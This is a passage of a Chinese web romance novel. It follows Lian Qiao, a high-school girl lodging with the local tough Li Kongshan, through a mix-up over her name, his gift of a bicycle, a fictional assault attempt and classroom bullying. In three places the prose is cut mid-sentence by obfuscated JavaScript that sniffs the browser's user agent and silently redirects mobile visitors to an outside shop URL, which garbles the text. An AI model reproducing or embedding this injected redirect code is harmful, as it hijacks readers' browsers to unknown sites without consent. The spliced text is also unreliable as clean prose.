躺在躺椅上悠哉晃悠的李空山睁开眼看一眼她,又重新把眼睛闭上。 “当然至于。” 连翘跑到李空山面前蹲下,手搭在躺椅上,近距离看着眼前的少年。 “李空山,你知道这意味着什么吗,这意味着我可以回去继续读书,学好知识,参加高考,靠上最最最棒的大学,将来找一个非常非常挣钱的工作,这样我就有钱还你了。” “哦。” 不以为意的李空山依然闭着眼睛,浑然不知女孩蹲在他身旁,他漫不经心开口说:“难道不读书就找不到很多钱吗,你呀就是喜欢把自己的路走得太窄,就像当初只盯着我不放一样。” “宽有宽的好处,窄有窄的好处,不是吗?宽意味着很多选择,窄则意味着一心一意。” 连翘趴在躺椅边,“李空山,你的家离学校有点儿远,所以我明天得早起,我会尽量不吵到你。” “知道了知道了。” 感觉自己困意就要来了,李空山不想再和连翘废话,他无所谓地摆摆手,示意连翘该干嘛干嘛去。 然而,他一个不经意的转身,再次睁开眼时,目光恰好与正前方的连翘撞上。 “我去。” 他被吓得直接弹坐而起,愣愣地盯着眼前的连翘,“你什么时候跑我边上的。” 表现得很无辜的连翘继续蹲在躺椅边,懵懂地看着李空山,“我一直都在你边上,声音那么近,你没察觉?” 意思是还怪他喽? 李空山一时无言以对。 现在想来,倒是他刚才的反应有些过于激动了些。 他只是很少这样被人直勾勾盯着,如此近距离地和一个人对视而已。 如此想,李空山万分肯定自己绝对不是害羞。 连翘将他慌张却又无措的样子尽收眼底。 她站起来,走到门口,笑着对李空山说:“好啦,我不逗你了。李空山,我出去买点菜,回来给你做饭吃。” 李空山想要辩解,却又不知从哪儿开始,他站在屋里,两手叉腰指着连翘欲关上的门。 “哎,不是,你——” 门被关上,彻底没缝儿。 气急败坏的李空山在屋里来回踱步,“不是,啥意思啊,什么叫做她逗我?”他无奈地指着自己,一脸茫然,气呼呼反驳:“摆脱,我李空山是她能随随便便逗的人吗,还想逗我,刚才的不算!” 想了想,李空山坐回床沿边,仔细地揣摩连翘的心思,“想给我做饭?” 他“呵”了一声,“区区几顿饭就想收买我,真把我李空山当什么了。” * 事实是,连翘今晚做的饭炒的菜,全被李空山吃得一干二净。 李空山心满意足地吃下最后一块肉,漫不经心问对面早已放下筷子的人,“对了,你不是穷得响叮当吗,哪儿来的钱买东西?” 连翘脸不红心不跳,喜滋滋盯着对面的李空山,“我从你换下来的衣服兜儿里拿的。” 李空山:“……” 目瞪口呆。 * 在连翘出门买东西的时候,闲得无事的李空山在屋子里转悠,正好看见连翘把课本放在书桌上。 他背着手,一副领导审视工作的模样,义正言辞,“化学书?我都好久没看见过这玩意儿了。” 戏超多的他继续一本正经地“检查”。 他随手翻开课本的第一页,想要看看这女孩究竟叫什么名字。 虽然连翘天天在他面前晃悠,但他还没问过她的名字是什么。 现在正好。 李空山想,发挥他聪明才智的时候到了。 课本第一页,黑色签字笔端端正正写着的两个字在正中央,字体秀丽,端正笔直。 李空山盯着这两个字愣了几秒,蹙眉思考的他连忙反应过来,拉长声音“哦”了一声,“小鬼头,原来你叫这个名儿。果然,一切都逃不过我李空山的法眼。” 心满意足窥探到她名字的李空山合上课本,一路哼着歌儿关门离去。 * 重新回到学校的第一天。 上课铃声响起,这堂课是语文,连翘在书包和抽屉里找遍了,也没能找到语文课本。 她开始慌张,这可怎么办?如果今天没有教材,晚上就没办法按着课本上的文言文笔记写翻译。 怎么办?连翘的思绪就像热锅上的蚂蚁,四处乱窜,局促不安。 有了! 李空山! 她兴奋地跑到班主任办公室,“老师,我可以借一下电话吗?我有东西没带,想让家里人送过来。” 班主任点头同意,连翘得意从班主任手里接下手机。 电话“嘟嘟嘟”许久才被人接通。 对面传来李空山懒散怠倦的声音,“谁啊。” “是我。” 电话那头,还在睡大觉的李空山愣了半秒,这才反应过来开口说话的人是谁,他放松地伸懒腰,继续躺下回到被子里,只露出一个脑袋和拿着手机的胳膊。 “你啊,无赖妹,干嘛呢。” 李空山还没睡醒,困得眼睛都快重新闭上。 连翘对着电话说:“李空山,我语文课本落屋里了,你帮我看看,顺便给我送来学校呗。” “哦……” 他懒洋洋地伸出左手盖上自己的眼睛,声音懒散,“什么时候?” “越快越好。” “啥?” 李空山不理解,惊诧的表情直接驱散他的睡意。 另一边,班主任走到连翘身边,“要上课了哦,话说完了就赶快回教室上课吧。” 连翘回头看一眼班主任,应声说:“好。” 她低声重新对着电话说:“李空山,我要上课了,先不跟你说,你记得尽快给我送过来。” 李空山:“……” 他现在困得有些分不清这电话是真的还是做梦。 倒头又睡。 下一秒,楼下传来叫喊。 “空山呐——快下来,奶奶给你送菜来了,新鲜着呢,赶紧——” 从床上倏忽坐起来的李空山带着起床气儿盯着连翘的地铺:“一定是你在背后骂我!让我睡个觉也不清净。” 谁让楼下的人是奶奶,李空山就算咬牙切齿再怎么气连翘给自己的一天开了个不好的头,也得下楼接奶奶。 老太太给李空山送来一大口袋新鲜的菜,全是她自己种的,新鲜又健康,没打一点儿农药。 “空山呐,来,拿着,自己做饭吃,奶奶种的菜最健康最安全了。” 李空山困得打哈欠,“给我干嘛,你又不是不知道,我都不做饭的。” “少骗你奶奶。” 老太太露出八卦的笑,“我还不知道你吗,早就看出来你对那天那小姑娘有意思了,正好,你就用这些菜当借口,请她来家里做客呗。” 李空山:“……” 他不情不愿地睁开眼睛,与困意做抵抗,“不是,奶奶,你哪只眼睛看出来我对她有意思了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你真确定是这名儿?我怎么没找到呢。”大叔抬起疑惑的目光,“你确定是这个班?” “确定,我当然确定。” 李空山从不怀疑自己的眼睛,坚持笃定的模样,“绝对是你没看仔细,你再好好看看!再不然” 不应该啊……见眼前这人这么肯定,保安都差点怀疑是自己的眼睛出了问题。 他用手指逐一去确认高三(8)班花名册上的学生名字,当手指滑到“连翘”一栏时,保安大叔停下了手。 他猛地抬起头看着李空山,“你说的是这人吧?连翘?” 李空山看上去也不像没文化的人,于是保安大叔恍然大悟,替他解释,“我明白了,爱称是吧,小名对吧?” 乐呵呵笑着的大叔从欲言又止的李空山手里接过课本,“放心吧,一定帮你交到这同学手里。” 李空山尴尬地点点头,假装若无其事地把手放在裤兜里,转身离开。 这一刻,他只求刚才没有任何人听见他和保安大叔的对话。 * 班主任通知连翘到校门口去拿东西,当连翘走到保安室时,保安大叔就冲他乐呵呵招手。 连翘拿回自己的语文课本,对保安大叔道谢。 保安大叔八卦地低声说:“同学,你小名咋还有两个呢,又是车羽羽,又是尧尧的,花样真多。” 和蔼的保安大叔笑了起来。 略有迟疑的连翘注视着叔叔,“为什么这么说?” 保安大叔解释:“这不是刚才给你送东西的小帅哥这么喊的嘛。” 连翘望向校门外,有那么一瞬间,她曾想要寻觅李空山的踪影,却并不见其人。 当她拿着课本回教室时,她回想起这两个“名称”就莫名想要扬起嘴角。 她当然明白——李空山认错字儿了。 15. 第 15 章 “李空山——” “李空山——” 还在睡梦中的李空山被一声声叫喊唤醒,他睁开朦胧惺忪的睡眼,两手撑在身后,眉头情不自禁紧蹙。 “谁啊,大早上的喊个没完没了。” 不出意外,这人绝对是那烦人精。 李空山从床上爬起,走到窗边,往下眺望,只见连翘兴奋地朝他挥手。 “干嘛啊。” 他不耐烦地重新将眼睛闭上,左手盖住额头,巴不得现在立刻马上回到床上躺下。 连翘见李空山站到窗边,欣喜地从书包里翻出一袋小笼包,“李空山,你看!刚才我看你最喜欢的这家早餐店还剩一筐小笼包,特地给你买的!” 她挥挥手,走到合欢树下,将小笼包系好放下,再次仰头大声对他说:“李空山,我上学快来不及了,先给你放这儿,你赶紧下来拿去吃哦。” 话一说完,女孩就重新背上书包,欣喜地跨过院子的门槛跑出去。 李空山一边纳闷,一边追随她的身影直到消失在院子门口的最后一秒。 他无所谓地“切”一声,“谁稀罕啊。” 伸完懒腰之后,李空山又依依不舍地回到自己床上躺下。 果然,温暖的被窝才是他最好的归宿。 几分钟后,李空山迷迷糊糊醒来,他还没彻底入睡,就听见楼下传来狗叫声。 闭着眼睛的他自顾自嘀咕:“这儿怎么还有狗……” 一个翻身,他继续闭好眼睛努力进入梦乡。 突然想到什么,他一个机灵从床上蹦起,拖鞋都差点没穿好,跌跌撞撞,慌张跑下楼。 还好,黑狗没有要吃他的肉包子的打算。 只是——想抢他肉包子的另有其人。 李空山双手叉腰,气昂昂地盯着合欢树下的小男孩,“干什么你,赶紧给我拿过来!这是我的东西。” 徐尔枸两眼冒星星,跟个小馋猫似儿的双手捧着热气腾腾的小笼包,看也不看李空山一眼,怔怔摇头,“不要!我才不给你!漂亮姐姐刚才放这儿的,你自己不要,你不要那就是我的!” 李空山才懒得跟一个小屁孩废话,直接走过去把徐尔枸手里的这袋小笼包抢过来,右手捏住徐尔枸的耳朵,教训他。 “我说徐尔枸,你好的不学,去学耍无赖,你妈妈知道了,看她怎么收拾你。” “哎哟,疼。” 徐尔枸摆出后悔的表情求李空山放过:“我错了,你不要告诉我妈妈。” “算你有眼力劲儿。”李空山松手,刚才手上并没用劲儿,只是想教训教训徐尔枸罢了。 拿回小笼包以后,李空山看徐尔枸直勾勾盯着自己手里的食物,口水都快流下来,索性分给他两个小笼包。 “我丑话说在前头啊,我可不是喜欢你这小屁孩才给你的,我纯粹是看你可怜。” 徐尔枸两眼放光,兴奋地把第一个小笼包塞进嘴里,虽然李空山说的话总是那么欠,但基本的礼貌徐尔枸还是懂。 “谢谢你。”徐尔枸一边高兴地吃小笼包,一边问李空山,“漂亮姐姐为什么从你家里出来?李空山,难道你们同居了?” “没大没小。” 李空山第一反应不是回答徐尔枸的问题,而是直接拍他脑瓜子,这次他是真使了点劲儿。 “小小年纪不学好,连同居都说得出来。”李空山用手指勾住袋子,双手端在身前,像个哥哥一样教育他,“徐尔枸啊徐尔枸,你一个小屁孩哪里懂什么是同居,还有,大人的人你少管。” 徐尔枸冲李空山摆出一个鬼脸:“小孩怎么了,你可千万别小看小孩。李空山,别以为我不知道你就是想娶媳妇儿,我可是知道你秘密的——半夜接过一个外围女进你家。你以后可别惹我,不然我就把这事儿告诉漂亮姐姐,你到手的媳妇儿可就飞咯。” “徐尔枸!” 咬牙切齿的李空山十分努力控制自己,才没有动手抓住徐尔枸把他倒挂起来。 “媳什么妇儿,那个丑丫头我才看不上她!” 徐尔枸害怕李空山找自己麻烦,赶紧一溜烟儿似儿的钻回屋子。 * “搞了半天,原来你叫连翘?” “是啊。” 今天是去集市买东西的日子,李空山带着手底下的人儿去收了一笔债,回来的时候恰好遇到连翘出门。 他想着反正自己也没事,索性就和她一起。 连翘提着编织袋,认真地张望街道两侧摆在地面铺着的蛇皮口袋上的的蔬菜和水果。 “不然你以为我叫什么?” 连翘想起那天在保安室闹出的乌龙,忍不住询问李空山,而自己则装作浑然不知情。 那则糗事,李空山可不想提起。 他两手放在裤兜里,吊儿郎当,遮遮掩掩,故意用无所谓的语气说:“没什么,就是随便说说。” 女孩今天扎了一个辫子,头发垂在背后,身上穿着的森系淡黄小碎花长衫衬得她气质与众不同。 她白皙的皮肤和柔和的眉眼总能给人一种岁月静好之感,但瘦瘦的身子和身上还未好彻底的淤痕也在无时无刻提醒李空山她过去的不公平遭遇。 女孩的心思全在如何用最划算的价格挑选到最优质的瓜果蔬菜上,而李空山的心思则停留在连翘的名字上。 “话说……你为什么叫连翘啊?这名字听着怪怪的。” “我怎么知道。” 一直走在前面的连翘忽然停下,她从衣服里取出挂在脖子上的吊坠,展示在李空山眼前,“看到了吗,这是我从小就挂着的,田永贵把我买回去以后,不知道给我取什么名,索性就直接按这吊坠上刻着的字唤我。” 李空山盯着连翘脖子上挂着的吊坠愣了很久,就像看到了从前曾见过的物品一样,情不自禁伸手去触碰,想要再多看几眼。 连翘警惕地把吊坠放回去,偏着脑袋盯着李空山,“干什么,你先耍流氓啊?” 回过神的李空山蹙眉反驳:“切,这都什么跟什么,我就是好奇,谁稀罕你那玩意儿。” 李空山越过连翘走在前面,女孩若有所思地盯着李空山的背影,可是无论她怎么想,都想不明白李空山刚才为什么看吊坠得如此入迷。 * 学校距离李空山租的房子有些距离,高中部建在隔壁镇,连翘每天早上都必须得起早一些,才不至于走路迟到。 长此以往后,李空山突然想给连翘买辆自行车,或者说每天给她钱坐车。 他之所以这样做,完全不是因为心疼连翘起早贪黑,而是因为心疼自己。 ——他再也不想每天早上被连翘起床的动静吵醒了! 一开始,连翘是拒绝的,她觉得完全没有必要,这笔钱可以省下来做别的事,而早起和走路并非多么无法克服。 不过她转念一想,李空山既然要给她钱坐车,那她完全可以把这笔钱存下来,假装自己每天早上都坐了车。 为此,连翘每天早上都非常警惕,努力不发出任何一点声音吵到李空山。 日子也就这么过去了。 直到某天,李空山在家里找别人欠他钱的收据,他才发现事情没这么简单。 一个A6大小的笔记本引起李空山的注意,他拿起来,犹豫要不要打开看看——毕竟这是连翘的东西,私自动她的不好。 但是这笔记本就这么赤裸裸地摆在李空山面前,他实在做不到狠下心无视。 好奇心是个可怕的恶魔。 他摆出一副认真思考的模样,凝神叹息,“我要是看了,应该不影响吧?要真是很私密的东西,她也不会这么大大方方摆在上面对不?” 一番自我劝说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165873|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以后,李空山心有不安地打开笔记本。 直到他看清楚上面所记载的东西,他才明白每天和自己生活在同一个屋檐下的女孩心里究竟藏着多么辽阔而缜密的事。 李空山花在连翘身上的每一笔钱,全被连翘记载这个本子上。 2017年3月,远离田永贵,李空山为我还债,欠李空山60万。 2017年3月17日,李空山为我交学费,欠李空山1800元。 2017年3月20日,李空山给我日常开销费,欠李空山900元。 2017年4月3日,李空山给我车费,欠李空山300元。 …… 诸如此类的记载事项还有很多很多。 李空山一时间说不出话来。 原来这个女孩远比他所想象的还要心思细腻。 所以她……一直在努力和自己划清界限? 李空山也不知道自己脑子里怎么突然冒出这个想法。他若无其事地把笔记本放回原处,维持周围的东西没变。 门被关上。 李空山出门了。 …… 高中部的下课铃叮铃铃响彻在整个校园,学校不大,三个年级加起来不超过五百人。 每年,这里能考上大学的从没超过三个人,更别提考上所谓的名牌大学。 很大一部分来到这里读书的学生只是为了混日子,很少有人真的给自己定下考上大学的目标和愿望。 连翘不喜欢交朋友,也不愿意交朋友。 放学后十分钟,她随着人群走出来,一见到她,李空山就挥挥手,离开身后的自行车向她走去。 连翘愣住,原本盯着路面发呆的她从没想过李空山会出现在这里。 她在李空山面前停下,不可思议地微微仰头看着李空山:“你……怎么来了?” 李空山端着手往侧边一站,自行车一览无遗展现在连翘眼前,他看向自行车,骄傲地示意连翘,“看见没,以后它就是你的专属座驾。” “我的专属座驾?” 连翘忍不住笑了,轻扬嘴角盯着骄傲自信的他:“你又不是不知道,我不会骑自行车,它怎么做我的专属座驾?” “哦,对。” 李空山把手放下,更加骄傲地介绍自己,轻轻点头,“忘了跟你说,除了专属座驾外,你还将获得专属司机,鄙人李空山是也。” 连翘被他逗笑,“你去哪儿学的,说起话来还一套一套的。” 李空山终于恢复正常,甩手开始吐槽,语速也加快,像以前一样,“别提了,都怪那楼巩,天天跑我哪儿研究接收器的天线,各种古装剧、偶像剧啥的,在我耳边回来播放,我耳朵早晚得起茧子。” 连翘低头一笑,重新看向李空山,“你怎么突然对我这么好,很不对劲哎。” 李空山瞥一眼,无所谓地偏头,想了下,说:“如果是我饿了,想快点吃到你做的饭,你信吗?” “有点不相信。” 他想了想,索性不解释了,直接拉着连翘走到自行车边上,他坐了上去,两手捏住把手,直视前方。 微风吹拂少年的碎发,吹鼓少年的衣裳。 骄傲肆意的李空山回头注视连翘,嘴角有着似有若无的笑意。 “快点,上来——” 那个傍晚,连翘仿佛做梦一般。 她看见了和往常不一样的李空山,看见了一个愿意对人好、愿意在小事上费心费力的李空山。 他并非像常人口中所传颂的那般阴狠、自私,是个无赖。 相反,他比很多人值得依赖。 晚霞染红半边天,小镇街道两侧的大树被风吹得沙沙作响,空气中弥漫着淡淡的甜蜜。 连翘坐上后座,仰头望着蓝天诉说自己的心事。 “李空山,谢谢你。” 16. 第 16 章 最近的活儿很顺利,没任何人出岔子赖账。 楼巩好不容易找着机会叫李空山出来聚聚,结果李空山刚坐上饭桌,就催楼巩有话快说,他等会儿还要去接人。 楼巩:“……” 无语凝噎。 他一边剥花生米,一边对桌子对面端着手臂吊儿郎当的李空山说:“哥,你最近有没有觉得你哪里不对劲?” 李空山摇头,斩钉截铁:“没有,但我觉得你倒是有点不对劲。” 楼巩成功被李空山带偏,好奇而警惕地问:“哪里不对劲?” 李空山往后仰,凝视眼前的楼巩,“我看你最近和宇瑞那小子走得挺近。” 话说到这个份上就已足够,剩下的——楼巩全懂了。 “冤枉啊,哥!” 楼巩停下剥花生的动作,慌张不已,想要向李空山解释清楚:“哥!完全是宇瑞那小子单方面来找我,想打听你的喜好!我对他绝对就跟对脚下的蚂蚁似儿的,偶尔逗着玩玩,没了耐心就一脚踩死。” “我发誓!” 楼巩摆出手势,“我要有二心,天打雷劈!” 李空山坐直,“你什么人我清楚,我没有要怀疑你的意思。我知道宇瑞这小子安的什么心思,我也知道你有多容易被好酒好肉收买,不过这个不重要,我喜欢什么讨厌什么他知道又无妨。我就是想提醒你要对人时刻保持警惕,不要傻傻的随便信人知不知道。” “好好,知道知道!” 明白李空山的意思后,楼巩终于放心地笑了,他把摆在面前的一盘五花肉推到李空山面前,明明只比李空山小两个月,说话做事跟个大老爷们似儿的。 “哥!你也吃啊。” 李空山像往日那般“啧”了一声,“我才不稀罕,你自己吃吧。” 但楼巩知道,李空山就是口是心非,嘴硬又爱臭屁,却打心眼里关心自己。 在楼巩犹豫的间隙里,李空山把五花肉重新推回楼巩面前,“今天这顿我请,那丫头快放学了,我得去接她,你慢慢吃,别着急。” “哎,空山哥,等等。” 楼巩站起来叫住李空山。 “我发现你最近太反常了,你对那女孩不是一般的用心,哥,你得给兄弟说清楚,你到底是看上她了还是咋的?” “不是你想的那样。” 李空山目光暗了下来,声音也跟着变轻。 楼巩难以透过他的眼睛看清楚他心里想的是什么。 李空山顿了几秒,解释道:“她总是能让我想起小时候那件事……楼巩,你知道,我常常梦见那段往事,也常常醒来愧疚不已,我不知道那天到底发生了什么,但如果不是我,她就可以回家了,不是吗?” “所以……就当我在通过连翘弥补我当年的愧疚好了……” “可是那不是你的错。” 李空山头也不回直接离开:“不重要。” * 校门口外有个摆摊买药材的,李空山闲来无事,走到摊子前,随手指了指一种黄色的花,“大爷,这个是什么?” 大爷解释说:“这叫连翘,一种中药材,你可千万别小看它,虽然它看上去平平无奇,但却可以清热解毒,疏散风热的呢。” “连翘?” 李空山想,难怪一个名儿,都丑不拉几的。 大爷见李空山一脸鄙夷,立即纠正李空山心里的小九九,“小伙子,我跟你说,你别看它现在干巴巴的,又黑又皱,但它也曾盛开过繁花,只有灿烂的黄色花朵凋谢之后才有果实,即便是再贫瘠的土壤,也能生存。” “正所谓历尽苦难,育一花,结一果,其中的辛酸艰苦只有风雨知。” “说得这么玄乎。” 李空山不以为意,转回到校门口继续等连翘。 * 连翘收拾好书包后就迫不及待要冲出校门,因为她知道——李空山一定等在校门口,风雨,无阻。 刚走出教室,连翘就被一个学生喊住。 女生走到连翘面前,笑得格外甜,“你就是连翘吧?” 她缓缓点头,略有迟疑,“我是,怎么了?” 女生凑到连翘耳边,小声传话,“李空山托我告诉你,今天他在学校后门等你,让你别走错了。” “哦,谢谢啊。” 连翘道谢以后,就往楼下走。 下楼以后,面对这条分别通往东西两侧的前门和后门时,连翘停顿了下,随后毫不犹豫地拐弯向后门走去。 刚才传话的女声出现在楼道口,露出满意的笑。 学校后门是座荒僻的小山坡,只有隔壁一栋老楼房住着一些散户。 连翘刚走出小门,就被人拦住。 那日在集市上损李空山的青年出现了。 连翘往后退一步,神情淡定,不慌不乱,“我当是谁这么蠢,想到用这种方法骗我来这里。” 她抬起头盯着青年,“原来是你这种蠢人啊。” “臭婊子,嘴真贱。” 青年名叫赵旭摩,镇长的儿子,读书读不进去,戳了学,待业在家,整日游手好闲,跟着手下的人天天在街上晃悠。 据说,赵旭摩干过不少连畜生都不如的事,但谁让他有个镇长爸爸包庇,至今还在潇洒快活。 被连翘这声“蠢人”所激怒,赵旭摩用力掐住连翘的脖子,把她抵在墙上。 他露出奸诈邪恶的笑,“你也就能嘴上逞强,真到这种时候,你看谁能来救你?” 赵旭摩伸手去掀连翘的衣服,“你既然知道消息是假的,那我倒是很好奇你怎么就还敢来。” “难道你是觉得——李空山那混球会来找你?” “呵呵。”赵旭摩拽住连翘一直挣脱的手,不让她挣脱半点儿。“真是痴人说梦。我早就让人把李空山支走了,现在就算是天王老子也不会来救你。” 连翘恶狠狠地等着赵旭摩,“这里可是学校,你敢乱来,就不怕进派出所?” 赵旭摩更加肆无忌惮,心中轻狂犹如江水汹涌,“你觉得我赵旭摩要是怕的话,还能活到今天?” 连翘忽然笑了,云淡风轻,没有一点儿惧怕。 赵旭摩忽然停下手中动作,迟疑看着她:“你笑什么?” 此刻气定神闲的连翘仿佛一个魔鬼,本秘密生活在黑夜,行踪神秘难以被人发现,只不过趁着没人,偷偷潜入了白天。 连翘抬眸注视他,只不过眼前这张脸让她倍感恶心,“怎么?不继续撕衣服了?我还等你你真做出点什么来呢,到时候李空山知道了,才会对我更加愧疚。这样,他赶走我的可能性就更低了。” 赵旭摩冷呵一声笑:“真不愧是能接近他的人,不是一般的有心机。” 三、二、一…… 连翘在心里默数,她敢肯定,当她数到一时,李空山的人一定会出现。 “啊啊啊啊,给——我——滚——开——” 一个青年闯入这条小巷子,随手捡起地上的一根木棍走过来,“赵旭摩,你干什么!好大的胆子!居然敢动我空山哥的人!” “坏我好事。” 赵旭摩只能无奈地放开连翘。 他咬住下唇,歪着头,一眼不眨,凝视正朝自己走来的人。 今天他倒要看看传说中的黑武会训练出的人究竟有多厉害。 赵旭摩甚至直接放话挑衅,眼睛直勾勾的,“来啊,你有本事过来打我啊。” 李空山是他在清流镇最大的死对头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165874|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是唯一的,在赵旭摩看来,只有干掉李空山,他赵旭摩才能做清流镇数一数二的大人物。 就在赵旭摩准备就绪,活动好手脚,即将大干一场时…… 闯进来的青年突然在他面前停下,嬉皮笑脸地指着赵旭摩身后的天空,“哎呀!你看!你头顶屋檐上有只大□□!长得还和你一模一样!” 赵旭摩原本不信的,但青年摆出的欣喜表情实在太逼真,让他难掩心中好奇。 他轻蔑地回头。 就在这一瞬间,青年立即跑过去,拉住连翘,“快走!” 两个人一溜烟儿地直接跑走。 等赵旭摩回过神时,巷子里早就没了两人的踪影。 走到热闹的街区,青年终于停下,累得不成样子,两手扶在膝盖上,大口喘气。 连翘看上去倒跟个没事人儿似的。 她懵懂又认真地蹲下来,抬头盯着年轻男生,“你刚刚那招数,李空山教你的吧?” “!!” 男生诧异地盯着连翘,一脸愕然:“你怎么知道?” 连翘浅浅一笑,“我猜的。跟李空山待久以后,你就会一眼看出来,这种耍无赖的事绝对是他的风格。” 男生不好意思地摸了下后脑勺,“不好意思啊,刚才不是没胆量和骨气救你,只是空山哥最近难得消停些没惹事,老板交代我们,能不让空山哥生事就不生事。” “理解理解,我都懂的。” 连翘的脸上捕捉不到任何一丝慌乱害怕的痕迹。 “空山哥一直没看到你,肯定着急,我们去找他吧。” 男生站直,向连翘发出邀请。 连翘继续蹲在地上,看上去并不是不想走,而是还有话没说完,“你刚刚怎么知道我在巷子里?” “路过,路过,纯属路过。” “哦……” “连翘!” 连翘还在想事情的间隙,马路对面的人终于寻觅到她,毫不犹豫大声又着急地喊出她的名字。 待车子开过以后,路灯变绿,李空山径直穿过马路跑过来,他从头到尾打量连翘,把她拉起来左右前后都看一遍,询问她的状况,“小海跟我说赵旭摩那傻B把你骗到学校后门去了,你怎么样,没事吧?” “我没事。” 连翘开口说话,这才让李空山慌乱的心安定不少,他那担忧的目光也终于汇聚到她眼前。 “那就好,赵旭摩这王八蛋,我绝对不会放过他。” 连翘摇头,“别,李空山,你千万不要去生是非,他还伤不到我。” 她在李空山面前转了一圈,骄傲又自信,“你看,我这不是好好的吗。” 看似在证明自己无碍,实则在露出身后衣物被撕扯的痕迹给他看。 “好,好得很。” 李空山端着手,注意到连翘衣角被人扯过的痕迹,目光变得深不可测,表面上又回到那副轻蔑的样子。 “你别以为我是为了你,赵旭摩那王八蛋,我早就看不惯他。” 连翘点头,在他目光中寻找愧疚的痕迹,顺着李空山的话说下去,“是是是,你不是为了我,李空山解决的是私人恩怨而已。” 在一旁站着的孟海咳了一声,突然感觉自己有些无所适从,尴尬一笑,“那什么,你们是不是有点过于暧昧了,我在这里站着好像有点多余……要不我走?” * 李空山把自己心爱的被窝让给了连翘,自己退居到角落里打地铺。 连翘问他为什么,他说他要练筋骨,必须得睡硬的地儿,床铺太软不适合他。 不仅如此,他还再三告诫连翘不准跟他抢地铺,搞得这地儿跟个宝地儿似的。 他有多嘴硬,连翘自然懂。 17. 第 17 章 课间。 连翘刚从班主任办公室里回来,发现课桌上摆放的书本全都被人甩在地上。 不仅如此,垃圾桶里的垃圾也被人倒在这些课本表面。 周围的人埋头写作业的写作业,思考问题的思考问题,聊天的聊天。 仿佛没人注意到这一片“狼藉”。 “谁做的?” 连翘朝周围看了一眼,但没有任何人吱声,仿佛她的声音被外界隔绝了一般。 既然没人回答,那就别怪她顺势而为。 她不卑不亢地弯腰蹲下,捏住课本干净的角落,捡起课本。 安静得仿佛心如石头一般坚固。 作为课代表,昨天的生物作业原本应该让所有人交齐,但有几人今早找到连翘,说他们昨晚忘记写了,拜托连翘别告诉老师。 她心里很清楚,自己一向未和班里的大多数同学树敌,除了这几位随时有可能做出损人利己的事的“好同学”。 上课铃响起。 生物老师走进来,大发雷霆,质问有谁没交昨天布置的座位。 连翘眉目平静,不动声色地举手,随后站起,“老师,分别是通宇、段家薇以及黄怡这三位同学还没交作业。” “连翘!你!” 原本得意洋洋的三人顿时震怒。 早上他们本就和连翘打过招呼了,再加上后来还倒垃圾甩课本威胁她,他们怎么都没想到以前跟个闷葫芦似的不爱说话、不敢得罪人的连翘今天居然会站起来主动告发。 “连翘!你给我等着!” 其中一人回头,恶狠狠地瞪着不动声色重新坐下的连翘。 “还在那儿嘀嘀咕咕什么!” 站在讲台上的生物老师无比生气:“你们三个下课给我来办公室,我会让班主任请你们的家长到学校来!一个学期屡次不交作业,必须得给我个解释!” 生物老师说完,收敛心情,重新恢复平常的语气:“好同学们,我们现在继续上课——” * 下课以后,三个人挡住连翘去接水的路。 连翘抬眸:“你们做什么?” “还用问?” 站在最前面的女生开口:“像你这种人,就不配待在学校读书,你看看你什么德行,一天到晚跟个男的住在一块儿,连翘,你还要不要脸啊?” 说完话的女生出手把连翘往后推,拽拽地站在中间。 连翘被推后迅速站稳:“我要不要脸关你什么事。你上次传假消息跟我说李空山在后门等我,我看最不要脸的人是你好吧。” 女生被揭了底儿,愤怒涌上心头,“连翘,一个混混你也看得上,你是眼瞎了吧。” 连翘盯着女生,沉着淡定,“我眼瞎没瞎不知道,但你肯定眼瞎了,居然看得上赵旭摩那种无赖畜生。” “你!” 黄怡恶狠狠地盯着连翘,似乎下一秒,她就要冲上去给连翘一巴掌。 旁边的女生拉住黄怡,毕竟这里可是教室走廊,监控全看得一清二楚。 “小怡,你别生气,依我看啊,像她这种不检点的人,可能清白早就没了。” 另一人附和:“就是就是!上次我还看她和那混混李空山一起去医院呢,说不定她就是去堕胎流产呢!” 黄怡笑了下,对身旁的两姐妹的推测很满意,盯着连翘讽刺,“哦,原来我没看错,还真的是个婊.子.啊。” 连翘的拳头不知不觉握紧。 黄怡注意到了,笑着盯着她的手:“怎么,不高兴了,想打我?” 连翘的手渐渐松开,她意识到和这种人较真完全没有必要,更何况她一直都只是为了自己而活,而不是为了别人眼中的自己而活。 她轻轻一笑,甩甩手,活动筋骨,“没有哦,你想多了。毕竟我又不是你这种只会撒泼不会讲理的废物。” “你!” 这一次,女生是真的想冲上去动手了。 黄怡的巴掌刚准备朝连翘挥过去,班主任恰好从楼梯处上来,撞见堵在走廊的几人。 “黄怡,你干什么!你家长都来了!还想被记过?” 顿时,黄怡的手顿在半空中,惶恐无措。 连翘笑着对三人说:“不好意思,真不巧,我还有事,恕不奉陪。”随后便轻快地转身离开。 